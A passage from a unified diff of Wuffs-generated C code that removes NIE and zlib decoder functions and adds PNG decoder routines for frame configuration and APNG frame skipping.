32u) { +- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- } +- if ((a_index != 0u) || (a_io_position != 16u)) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- self->private_impl.f_call_sequence = 40u; +- return wuffs_base__make_status(NULL); +-} + +-// -------- func nie.decoder.set_report_metadata +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_nie__decoder__set_report_metadata( +- wuffs_nie__decoder* self, +- uint32_t a_fourcc, +- bool a_report) { +- return wuffs_base__make_empty_struct(); ++ return status; + } + +-// -------- func nie.decoder.tell_me_more ++// -------- func png.decoder.decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_nie__decoder__tell_me_more( +- wuffs_nie__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, ++wuffs_png__decoder__decode_frame_config( ++ wuffs_png__decoder* self, ++ wuffs_base__frame_config* a_dst, + wuffs_base__io_buffer* a_src) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); +@@ -51808,354 +64965,485 @@ wuffs_nie__decoder__tell_me_more( + ? wuffs_base__error__disabled_by_previous_error + : wuffs_base__error__initialize_not_called); + } +- if (!a_dst || !a_src) { ++ if (!a_src) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 4)) { ++ (self->private_impl.active_coroutine != 2)) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } + self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- status = wuffs_base__make_status(wuffs_base__error__no_more_information); +- goto exit; +- +- goto ok; +- ok: +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} +- +-// -------- func nie.decoder.history_retain_length +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_nie__decoder__history_retain_length( +- const wuffs_nie__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func nie.decoder.workbuf_len +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_nie__decoder__workbuf_len( +- const wuffs_nie__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- +- return wuffs_base__utility__make_range_ii_u64(0u, 0u); +-} +- +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) +- +-// ---------------- Status Codes Implementations +- +-const char wuffs_zlib__note__dictionary_required[] = "@zlib: dictionary required"; +-const char wuffs_zlib__error__bad_checksum[] = "#zlib: bad checksum"; +-const char wuffs_zlib__error__bad_compression_method[] = "#zlib: bad compression method"; +-const char wuffs_zlib__error__bad_compression_window_size[] = "#zlib: bad compression window size"; +-const char wuffs_zlib__error__bad_parity_check[] = "#zlib: bad parity check"; +-const char wuffs_zlib__error__incorrect_dictionary[] = "#zlib: incorrect dictionary"; +-const char wuffs_zlib__error__truncated_input[] = "#zlib: truncated input"; +- +-// ---------------- Private Consts +- +-#define WUFFS_ZLIB__QUIRKS_BASE 2113790976 +- +-#define WUFFS_ZLIB__QUIRKS_COUNT 1 +- +-// ---------------- Private Initializer Prototypes +- +-// ---------------- Private Function Prototypes +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_zlib__decoder__do_transform_io( +- wuffs_zlib__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf); +- +-// ---------------- VTables +- +-const wuffs_base__io_transformer__func_ptrs +-wuffs_zlib__decoder__func_ptrs_for__wuffs_base__io_transformer = { +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_zlib__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_zlib__decoder__history_retain_length), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_zlib__decoder__set_quirk), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__slice_u8))(&wuffs_zlib__decoder__transform_io), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_zlib__decoder__workbuf_len), +-}; +- +-// ---------------- Initializer Implementations +- +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_zlib__decoder__initialize( +- wuffs_zlib__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); +- } ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); +- } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); +- } +- } ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- { +- wuffs_base__status z = wuffs_adler32__hasher__initialize( +- &self->private_data.f_checksum, sizeof(self->private_data.f_checksum), WUFFS_VERSION, options); +- if (z.repr) { +- return z; +- } +- } +- { +- wuffs_base__status z = wuffs_adler32__hasher__initialize( +- &self->private_data.f_dict_id_hasher, sizeof(self->private_data.f_dict_id_hasher), WUFFS_VERSION, options); +- if (z.repr) { +- return z; +- } +- } +- { +- wuffs_base__status z = wuffs_deflate__decoder__initialize( +- &self->private_data.f_flate, sizeof(self->private_data.f_flate), WUFFS_VERSION, options); +- if (z.repr) { +- return z; ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_png__decoder__do_decode_frame_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_png__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } +- } +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = +- wuffs_base__io_transformer__vtable_name; +- self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = +- (const void*)(&wuffs_zlib__decoder__func_ptrs_for__wuffs_base__io_transformer); +- return wuffs_base__make_status(NULL); +-} +- +-wuffs_zlib__decoder* +-wuffs_zlib__decoder__alloc(void) { +- wuffs_zlib__decoder* x = +- (wuffs_zlib__decoder*)(calloc(sizeof(wuffs_zlib__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_zlib__decoder__initialize( +- x, sizeof(wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; +- } +- return x; +-} +- +-size_t +-sizeof__wuffs_zlib__decoder(void) { +- return sizeof(wuffs_zlib__decoder); +-} +- +-// ---------------- Function Implementations +- +-// -------- func zlib.decoder.dictionary_id +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_zlib__decoder__dictionary_id( +- const wuffs_zlib__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return self->private_impl.f_dict_id_want; +-} + +-// -------- func zlib.decoder.add_dictionary +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_zlib__decoder__add_dictionary( +- wuffs_zlib__decoder* self, +- wuffs_base__slice_u8 a_dict) { +- if (!self) { +- return wuffs_base__make_empty_struct(); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_empty_struct(); ++ ok: ++ self->private_impl.p_decode_frame_config = 0; ++ goto exit; + } + +- if (self->private_impl.f_header_complete) { +- self->private_impl.f_bad_call_sequence = true; +- } else { +- self->private_impl.f_dict_id_got = wuffs_adler32__hasher__update_u32(&self->private_data.f_dict_id_hasher, a_dict); +- wuffs_deflate__decoder__add_history(&self->private_data.f_flate, a_dict); ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; + } +- self->private_impl.f_got_dictionary = true; +- return wuffs_base__make_empty_struct(); ++ return status; + } + +-// -------- func zlib.decoder.get_quirk ++// -------- func png.decoder.do_decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_zlib__decoder__get_quirk( +- const wuffs_zlib__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++static wuffs_base__status ++wuffs_png__decoder__do_decode_frame_config( ++ wuffs_png__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_checksum_have = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t v_key = 0; ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { +- return 1u; +- } else if (a_key >= 2113790976u) { +- v_key = (a_key - 2113790976u); +- if (v_key < 1u) { +- if (self->private_impl.f_quirks[v_key]) { +- return 1u; ++ if (((uint8_t)(self->private_impl.f_call_sequence & 16u)) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } else if (self->private_impl.f_call_sequence == 32u) { ++ } else if (self->private_impl.f_call_sequence < 32u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_png__decoder__do_decode_image_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); ++ goto exit; ++ } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_png__decoder__skip_frame(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ if (self->private_impl.f_metadata_fourcc != 0u) { ++ self->private_impl.f_call_sequence = 48u; ++ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); ++ goto ok; ++ } ++ if (self->private_impl.f_num_decoded_frame_configs_value == 0u) { ++ self->private_impl.f_frame_rect_x0 = self->private_impl.f_first_rect_x0; ++ self->private_impl.f_frame_rect_y0 = self->private_impl.f_first_rect_y0; ++ self->private_impl.f_frame_rect_x1 = self->private_impl.f_first_rect_x1; ++ self->private_impl.f_frame_rect_y1 = self->private_impl.f_first_rect_y1; ++ self->private_impl.f_frame_config_io_position = self->private_impl.f_first_config_io_position; ++ self->private_impl.f_frame_duration = self->private_impl.f_first_duration; ++ self->private_impl.f_frame_disposal = self->private_impl.f_first_disposal; ++ self->private_impl.f_frame_overwrite_instead_of_blend = self->private_impl.f_first_overwrite_instead_of_blend; ++ } else { ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_frame_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_frame_config.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ } ++ self->private_impl.f_chunk_length = t_0; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_frame_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_frame_config.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ self->private_impl.f_chunk_type = t_1; ++ } ++ if (self->private_impl.f_chunk_type == 1145980233u) { ++ if (self->private_impl.f_chunk_length != 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_frame_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_frame_config.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ if (num_bits_2 == 24) { ++ t_2 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)) << 56; ++ } ++ } ++ v_checksum_have = t_2; ++ } ++ if ( ! self->private_impl.f_ignore_checksum && (v_checksum_have != 2187346606u)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_checksum); ++ goto exit; ++ } ++ self->private_impl.f_call_sequence = 96u; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } else if (self->private_impl.f_chunk_type == 1413571686u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } else if (self->private_impl.f_chunk_type == 1280598886u) { ++ self->private_impl.f_frame_config_io_position = ((uint64_t)(wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) - 8u)); ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ status = wuffs_png__decoder__decode_fctl(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_data.s_do_decode_frame_config.scratch = 4u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ if (self->private_data.s_do_decode_frame_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_frame_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_frame_config.scratch; ++ break; ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ status = wuffs_png__decoder__decode_other_chunk(self, a_src, true); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ if (self->private_impl.f_metadata_fourcc != 0u) { ++ self->private_impl.f_call_sequence = 48u; ++ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); ++ goto ok; ++ } ++ self->private_data.s_do_decode_frame_config.scratch = 4u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ if (self->private_data.s_do_decode_frame_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_frame_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_do_decode_frame_config.scratch; ++ self->private_impl.f_chunk_length = 0u; + } + } ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ self->private_impl.f_frame_rect_x0, ++ self->private_impl.f_frame_rect_y0, ++ self->private_impl.f_frame_rect_x1, ++ self->private_impl.f_frame_rect_y1), ++ ((wuffs_base__flicks)(self->private_impl.f_frame_duration)), ++ ((uint64_t)(self->private_impl.f_num_decoded_frame_configs_value)), ++ self->private_impl.f_frame_config_io_position, ++ self->private_impl.f_frame_disposal, ++ ((self->private_impl.f_color_type <= 3u) && ! self->private_impl.f_seen_trns), ++ self->private_impl.f_frame_overwrite_instead_of_blend, ++ 0u); ++ } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frame_configs_value, 1u); ++ self->private_impl.f_call_sequence = 64u; ++ ++ ok: ++ self->private_impl.p_do_decode_frame_config = 0; ++ goto exit; + } +- return 0u; +-} + +-// -------- func zlib.decoder.set_quirk ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_zlib__decoder__set_quirk( +- wuffs_zlib__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- if (self->private_impl.f_header_complete) { +- self->private_impl.f_bad_call_sequence = true; +- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- } else if (a_key == 1u) { +- self->private_impl.f_ignore_checksum = (a_value > 0u); +- return wuffs_base__make_status(NULL); +- } else if (a_key >= 2113790976u) { +- a_key -= 2113790976u; +- if (a_key < 1u) { +- self->private_impl.f_quirks[a_key] = (a_value > 0u); +- return wuffs_base__make_status(NULL); +- } +- } +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ return status; + } + +-// -------- func zlib.decoder.history_retain_length ++// -------- func png.decoder.skip_frame + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_zlib__decoder__history_retain_length( +- const wuffs_zlib__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++static wuffs_base__status ++wuffs_png__decoder__skip_frame( ++ wuffs_png__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_seq_num = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } + +- return 0u; +-} ++ uint32_t coro_susp_point = self->private_impl.p_skip_frame; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-// -------- func zlib.decoder.workbuf_len ++ self->private_impl.f_chunk_type_array[0u] = 0u; ++ self->private_impl.f_chunk_type_array[1u] = 0u; ++ self->private_impl.f_chunk_type_array[2u] = 0u; ++ self->private_impl.f_chunk_type_array[3u] = 0u; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ continue; ++ } ++ self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); ++ if (self->private_impl.f_chunk_type == 1413563465u) { ++ if (self->private_impl.f_chunk_type_array[0u] == 102u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_type_array[0u] = 73u; ++ self->private_impl.f_chunk_type_array[1u] = 68u; ++ self->private_impl.f_chunk_type_array[2u] = 65u; ++ self->private_impl.f_chunk_type_array[3u] = 84u; ++ } else if (self->private_impl.f_chunk_type == 1413571686u) { ++ if (self->private_impl.f_chunk_type_array[0u] == 73u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_type_array[0u] = 102u; ++ self->private_impl.f_chunk_type_array[1u] = 100u; ++ self->private_impl.f_chunk_type_array[2u] = 65u; ++ self->private_impl.f_chunk_type_array[3u] = 84u; ++ if (self->private_impl.f_chunk_length < 4u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_impl.f_chunk_length -= 4u; ++ iop_a_src += 8u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_skip_frame.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_skip_frame.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ } ++ v_seq_num = t_0; ++ } ++ if (v_seq_num != self->private_impl.f_next_animation_seq_num) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); ++ goto exit; ++ } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); ++ goto exit; ++ } ++ self->private_impl.f_next_animation_seq_num += 1u; ++ self->private_data.s_skip_frame.scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 4u); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (self->private_data.s_skip_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_skip_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_skip_frame.scratch; ++ self->private_impl.f_chunk_length = 0u; ++ continue; ++ } else if (self->private_impl.f_chunk_type_array[0u] != 0u) { ++ break; ++ } else if (self->private_impl.f_chunk_type == 1280598886u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ self->private_data.s_skip_frame.scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 12u); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (self->private_data.s_skip_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_skip_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ iop_a_src += self->private_data.s_skip_frame.scratch; ++ self->private_impl.f_chunk_length = 0u; ++ } ++ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); ++ self->private_impl.f_call_sequence = 32u; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_zlib__decoder__workbuf_len( +- const wuffs_zlib__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ ok: ++ 